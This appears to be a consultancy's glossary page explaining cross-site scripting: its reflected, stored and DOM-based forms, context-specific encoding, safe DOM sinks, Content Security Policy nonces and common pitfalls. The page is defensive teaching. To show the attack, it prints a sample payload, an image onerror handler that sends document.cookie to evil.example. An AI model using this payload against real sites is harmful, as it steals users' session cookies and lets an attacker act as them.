Engineer

Cross-site scripting

an attack that gets a page to run an attacker's script

What it is

Cross-site scripting, almost always shortened to XSS, is the attack in which a website takes text that came from someone else, puts it into a page it serves to other people, and fails to neutralise it on the way, so that the browser reads part of that text as code and runs it. The Common Weakness Enumeration lists it as CWE-79, under a title that says much the same thing: input left unneutralised while a web page is being generated. The attacker never changes the site's code. They supply data, and the site itself delivers the script to its own users, inside its own pages.

There are three routes in, and both the CWE entry and OWASP describe them. In reflected XSS, also called non-persistent or Type 1, the payload travels in the request, usually as a URL parameter, and the server copies it into the response: a search results page, an error message, anything that repeats what it was sent. The victim has to be lured into opening a crafted link, which is why the CWE entry places these links at the core of many phishing schemes. In stored XSS, also called persistent or Type 2, the payload is saved first, in a comment, a forum post, a profile field or a log message, and it runs for everyone who later views that record. In DOM-based XSS, Type 0, the server may never see the payload at all. The page's own JavaScript reads something the attacker controls, such as the part of the URL after the `#`, and writes it into the document in a way that makes the browser parse it as markup.

The name fits the modern problem badly, and OWASP says so: its prevention cheat sheet calls the term a misnomer. It came from early attacks that stole data across sites, and it has since widened to cover the injection of almost any content into a page, whether or not a second site is involved. Even the abbreviation has a history. The CWE entry recalls that the obvious three-letter acronym was common in the early years, until the clash with Cascading Style Sheets made it fall out of use.

OWASP classes XSS as a type of injection, in the family of SQL injection. In both, data crosses a boundary into a place where it is read as instructions: there the SQL a database runs, here the markup, attribute values and JavaScript of a page. The cure has the same shape in both cases. Keep data as data at the moment it is placed, and the interpreter has nothing of the attacker's to run.

Use the concept in a decision

Put "What is cross-site scripting?" to work in a real decision. We can help relate the concept to the system you are building or buying. Accounts, passwords and permissions arranged so people hold exactly the access their job needs, and leavers lose it that day.

Explore our services Get in touch →

Test the assumptions behind the term

Use the explanation and linked work to frame questions for your project. We can examine the assumptions with you before a tool is chosen. Wrote 1,000 RBAC rules to secure Linux servers — 1,000 access rules written to close a security gap

Wrote 1,000 RBAC rules to secure Linux servers Get in touch →

Why it matters

The script runs as the site's own. The browser keeps no record of where the text came from; it sees a page served by the site, from the site's origin, and gives the script everything that origin is allowed. OWASP puts the problem in one line: the browser "has no way to know that the script should not be trusted". The CWE entry draws the consequence. The attack defeats the intention of the same-origin policy, which exists to stop script from one site reaching into another.

What that script can do is whatever the user could. CWE-79 names the theft of private information in cookies, such as session data, as the most common attack, and warns that it is especially dangerous when the victim has administrator privileges on the site. OWASP's list is longer: impersonating the account, watching what the user does, loading content from elsewhere, stealing sensitive data and rewriting the page itself. Stored XSS in a log message is a classic route to exactly those victims. The CWE entry uses it as its example, because the people who read logs tend to be administrators, and a log viewer may not handle hostile input properly.

It matters to every web team, not only to those who still write markup by hand. Modern frameworks have made XSS rarer: OWASP credits their templating and auto-escaping with fewer bugs. Every framework still has escape hatches for the cases where a developer wants to insert markup directly, and OWASP lists those as the places where problems still occur. The same cheat sheet is clear that no

single technique solves XSS and that a combination is needed. That is the frame for the rest of this article: encode for the right context first, and put the other layers behind it.

What it looks like in practice

Take a shop whose search page repeats the search term back, so that `https://shop.example/search?q=lamp` shows `Results: lamp`. The server builds that line by pasting the parameter into its page template. An attacker sends a victim a link whose `q` is this:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

The server pastes it in as before, and the victim's browser receives:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

The image fails to load, because `x` is not an image, and the browser runs the `onerror` handler, which sends the user's cookies to the attacker's server. The code sits in an attribute, not in a `<script>` element, and that is typical: OWASP's own example payload uses an image's `onerror` attribute the same way.

The fix is to encode the value for the place it lands. In HTML body text, that means turning the five characters `&`, `<`, `>`, `"` and `'` into `&`, `<`, `>`, `"` and `'`. The same payload then arrives as `<img src=x onerror="...">`, which the browser shows as text and never parses as a tag. Frameworks that auto-escape do this for you; the hole opens wherever a string is built by hand instead.

In the DOM-based version, the server only sends a static page, and the page's own script reads `q` and writes it into the heading:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parses q as HTML
heading.textContent = `Results for ${q}`; // shows q as text
```

The `innerHTML` line hands the attacker's markup to the HTML parser, and the `onerror` handler fires just as before. The HTML standard notes that a `<script>` element inserted this way does not execute at all, which is why payloads lean on event-handler attributes instead. The `textContent` line creates a text node and parses nothing, so the same value is shown as harmless characters. OWASP's DOM XSS cheat sheet calls choosing a safe sink like this the best fix, and its general cheat sheet tells developers to refactor away from `innerHTML` towards `textContent` .

Behind the encoding sits a second layer. A Content Security Policy that lists a nonce tells the browser to run only the scripts that carry it. The current W3C draft asks the server to generate a fresh nonce every time it sends a policy, at least 128 bits from a cryptographically secure random number generator. An injected `<script>` has no nonce, and an inline handler like the `onerror` above is refused too, because only `'unsafe-inline'` or `'unsafe-hashes'` can allow handlers, and a nonce switches `'unsafe-inline'` off. The draft names `script-src 'strict-dynamic' 'nonce-{RANDOM}'` together with `base-uri 'self'` as a defence against XSS that both works and can be deployed in practice. On Chromium-based browsers, `require-trusted-types-for 'script'` goes further and makes sinks such as `innerHTML` reject plain strings. OWASP still warns that a policy is easy to get wrong, and keeps it as an extra layer rather than the primary defence.

On a platform holding professional and organisational data, the Next.js middleware sets such a policy with a per-request nonce and strict-dynamic alongside HSTS and SameSite cookies, so that the browser is locked down about what it will run and send. The same page describes layered protections to avoid relying on a single control. Server-side authorization is designed to operate independently of client-side checks, so the interface is not the authority for access decisions.

Where it goes wrong

Encoding for the wrong context. HTML entity encoding is right for text between tags and not enough elsewhere. OWASP gives each context its own rule: a value inside a URL parameter is percent-encoded in the `%HH` form, and a value inside an attribute is encoded for attributes and quoted. Encoding also only protects the place a string is put, not what happens to it later; a value passed on to `eval()` is unsafe whatever was done to it. Know where each value lands and use the framework's encoder for that place.

Unquoted attributes. Whitespace ends an unquoted attribute value, so an attacker who can add a space can add an attribute of their own, and `onmouseover=` is all it takes. Always put attribute values in quotation marks and use the framework's attribute encoder.

User data inside an event-handler attribute. Attribute encoding does not protect JavaScript in `onclick` or its relatives, because character references are decoded by the HTML parser before the script ever runs. Attach handlers with `addEventListener()` and pass the user's value as data.

A framework's escape hatch fed with raw input. React's `dangerouslySetInnerHTML`, Angular's `bypassSecurityTrustAs*` functions and Lit's `unsafeHTML` all switch auto-escaping off. When users genuinely need to author markup, run it through a sanitiser such as DOMPurify, which OWASP recommends, do not modify the result afterwards, and keep the library patched, because new bypasses keep being found.

A `javascript:` URL in a link. A profile's website field that holds `javascript:` followed by code turns a harmless-looking link into a script. React 19 blocks such URLs in `src` and `href`, but OWASP says that does not replace the application's own URL validation. Allow the schemes the field really needs, such as `https:`, and reject everything else.

Input validation or a WAF treated as the fix. Validation helps, but it cannot remove every dangerous character from free text. The CWE entry's example is the heart emoticon `<3`, which a chat application's validation would likely let through and which still contains `<`. A web application firewall matches known attack strings, misses new bypasses, and never sees DOM-based XSS that happens entirely in the browser; OWASP does not recommend one for preventing XSS. Encode the output, and treat both as extra layers.

HttpOnly treated as a cure. Marking the session cookie HttpOnly stops `document.cookie` from reading it, which blunts the most common payload. The script still runs, though, and can act as the user from inside the page. The CWE entry calls HttpOnly not a complete solution, and OWASP says cookie attributes limit the impact without preventing the execution. Set it, and fix the injection.

JSON served as HTML. An endpoint that returns user data with `Content-Type: text/html` invites the browser to parse it as a page. OWASP's rule is to check that JSON goes out as `application/json`. Set the header explicitly on every such response.

The policy treated as the primary defence. A nonce reused across responses, a missing `base-uri`, or an `'unsafe-inline'` added to make one widget work can each quietly undo a policy. Encode first, and let the policy catch what slips through.

Further reading

- CWE-79 in the Common Weakness Enumeration — the weakness entry: the three types, the consequences, and the mitigations with their limits.
- OWASP Cross Site Scripting Prevention Cheat Sheet — encoding per context, framework escape hatches, sanitising and the layers behind them.
- OWASP DOM based XSS Prevention Cheat Sheet — safe and unsafe sinks in the browser, with worked examples.
- OWASP: Cross Site Scripting (XSS) — the attack described from the attacker's side, with example payloads.
- HTML Standard: Scripting — how and when the `script` element runs, including inserted markup.
- Content Security Policy Level 3 — nonces, `'strict-dynamic'` and the strict policy the draft recommends.

Glossary

Choose for your actual constraints

Bring the deployment path, the operational risks and the people on call. We can scope a change with checks, a recovery route and clear ownership.

See what it costs Get in touch →

Make the terminology practical

Ask how “What is cross-site scripting?” applies to your organisation. A concrete example from your current system is enough to start the discussion.

Explore our services

welcome@engineer.company +45 50 10 61 84 Copenhagen, Denmark

Take this page with you

Contact card

Carefully Crafted With Love by D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Copyright © 2025 – present · Engineer ApS · All rights reserved.

Printed from https://engineer.company/glossary/cross-site-scripting/